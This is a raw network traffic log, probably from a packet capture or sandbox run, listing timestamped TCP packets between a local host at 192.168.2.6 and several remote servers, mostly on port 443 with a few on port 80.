Nov 18, 2024 04:41:31.868607044 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.868700981 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.869201899 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.874022961 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.874116898 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.874217987 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.874238968 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.875684977 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.875861883 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.875863075 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.875869989 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.876869917 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.876950026 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.876971960 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.897772074 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.918514967 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.918540001 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.919341087 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.920027971 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.920186996 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.944569111 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.944705963 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.945355892 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:31.945374012 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:31.972508907 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.972518921 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:31.972537041 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:31.972620964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:31.972837925 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:32.006398916 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.006490946 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.006691933 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.008737087 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.008832932 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.018264055 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:32.019967079 CET	49863	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.019987106 CET	443	49863	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.020878077 CET	49864	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.020893097 CET	443	49864	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.037770033 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.037888050 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.043344021 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.043363094 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.043396950 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.043601990 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.044971943 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.044997931 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.045789003 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.045797110 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.046041965 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.046086073 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.046411037 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.046421051 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.047525883 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.047689915 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.047696114 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.047962904 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.050146103 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.050518036 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.050523996 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.058832884 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.058976889 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.058985949 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.067536116 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.067890882 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.067899942 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.074851036 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:32.074927092 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:32.075023890 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:32.076627016 CET	49865	443	192.168.2.6	172.64.41.3
Nov 18, 2024 04:41:32.076641083 CET	443	49865	172.64.41.3	192.168.2.6
Nov 18, 2024 04:41:32.076786995 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.077135086 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.077142954 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.085033894 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.085226059 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.085233927 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.091341019 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.093841076 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.095038891 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.095046043 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.162735939 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.163028955 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.163038015 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.165572882 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.165766954 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.165774107 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.169953108 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.170037985 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.170044899 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.171524048 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.171703100 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.171892881 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.171892881 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.172091007 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.172101974 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.176039934 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.176062107 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.176136971 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.176414967 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.176429033 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.178571939 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.178662062 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.178668976 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.187364101 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.187463045 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.187474966 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.196161985 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.196300983 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.196321011 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.198503971 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.199893951 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.199924946 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.200391054 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.200400114 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.204901934 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.205241919 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.205256939 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.213399887 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.213702917 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.213711023 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.222176075 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.222640991 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.222657919 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.230942965 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.231082916 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.231100082 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.239166975 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.241017103 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.241024971 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.246212959 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.246565104 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.246829033 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.246844053 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.247337103 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.247371912 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.248122931 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.248131037 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.254183054 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.254319906 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.254328012 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.261704922 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.261811972 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.261818886 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.269273996 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.269659042 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.269665956 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.276782990 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.276875973 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.276890039 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.285172939 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.285228968 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.285825014 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.285834074 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.286004066 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.289422989 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304507971 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304549932 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304593086 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304608107 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.304610014 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.304619074 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304672956 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304712057 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304733038 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.304836988 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.304842949 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.304900885 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.305577040 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.305577040 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.305603981 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.305814028 CET	443	49856	40.113.103.199	192.168.2.6
Nov 18, 2024 04:41:32.305943012 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.305943012 CET	49856	443	192.168.2.6	40.113.103.199
Nov 18, 2024 04:41:32.308783054 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.313642025 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.313683033 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.313740015 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.313751936 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.313890934 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.318335056 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.323105097 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.323147058 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.323204994 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.323213100 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.323335886 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.327763081 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.332206011 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.332325935 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.332458019 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.332464933 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.332595110 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.332604885 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.332612991 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.332773924 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.332792044 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.332793951 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.332820892 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.332828045 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.336899042 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.336955070 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.337198019 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.337198019 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.337239027 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.337311029 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.342006922 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.342061996 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.343015909 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.343025923 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.343331099 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.346888065 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.351555109 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.351593018 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.352462053 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.352479935 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.352581024 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.352824926 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:32.352997065 CET	443	49849	18.244.18.122	192.168.2.6
Nov 18, 2024 04:41:32.353056908 CET	49849	443	192.168.2.6	18.244.18.122
Nov 18, 2024 04:41:32.356787920 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.361385107 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.361423969 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.361782074 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.361792088 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.361838102 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.365935087 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.370548010 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.370666027 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.370779037 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.370788097 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.371520042 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.375524044 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.376799107 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.376960039 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.377603054 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.379858017 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.379858017 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.379878998 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.379890919 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.380127907 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.380165100 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.380222082 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.380229950 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.380311012 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.383891106 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.383922100 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.384795904 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.384835958 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.385485888 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.385504961 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.389159918 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.389214039 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.389241934 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.389250994 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.389655113 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.393655062 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.398085117 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.398144960 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.398217916 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.398226976 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.398443937 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.402235031 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.406749010 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.406802893 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.406862020 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.406869888 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.407160997 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.407511950 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.407551050 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.407701969 CET	443	49855	142.250.186.161	192.168.2.6
Nov 18, 2024 04:41:32.407761097 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.408890963 CET	49855	443	192.168.2.6	142.250.186.161
Nov 18, 2024 04:41:32.589593887 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.595181942 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.607852936 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.607891083 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.608283997 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.608297110 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.608736038 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.608753920 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.609323978 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.609328985 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.656826019 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.656825066 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.656882048 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.656887054 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.656968117 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.656974077 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.657196045 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.657226086 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.657354116 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.657418013 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.738295078 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.738492012 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.738540888 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.738570929 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.738949060 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.742891073 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.743052959 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.743207932 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.746642113 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.746707916 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.746869087 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.747597933 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.747632027 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.747699022 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.748281002 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.748317003 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.748765945 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:32.748794079 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:32.762923956 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.762954950 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.767446041 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.767461061 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.767473936 CET	49872	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.767479897 CET	443	49872	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.828295946 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.828320026 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.828459978 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.840898991 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.840926886 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.841017008 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.841031075 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.841052055 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.851440907 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.851455927 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.908411980 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.910156965 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.910217047 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.910628080 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:32.910643101 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:32.930736065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:32.938796997 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.040530920 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.040725946 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.040790081 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.041562080 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.041579008 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.056077957 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.056119919 CET	443	49884	13.107.246.45	192.168.2.6
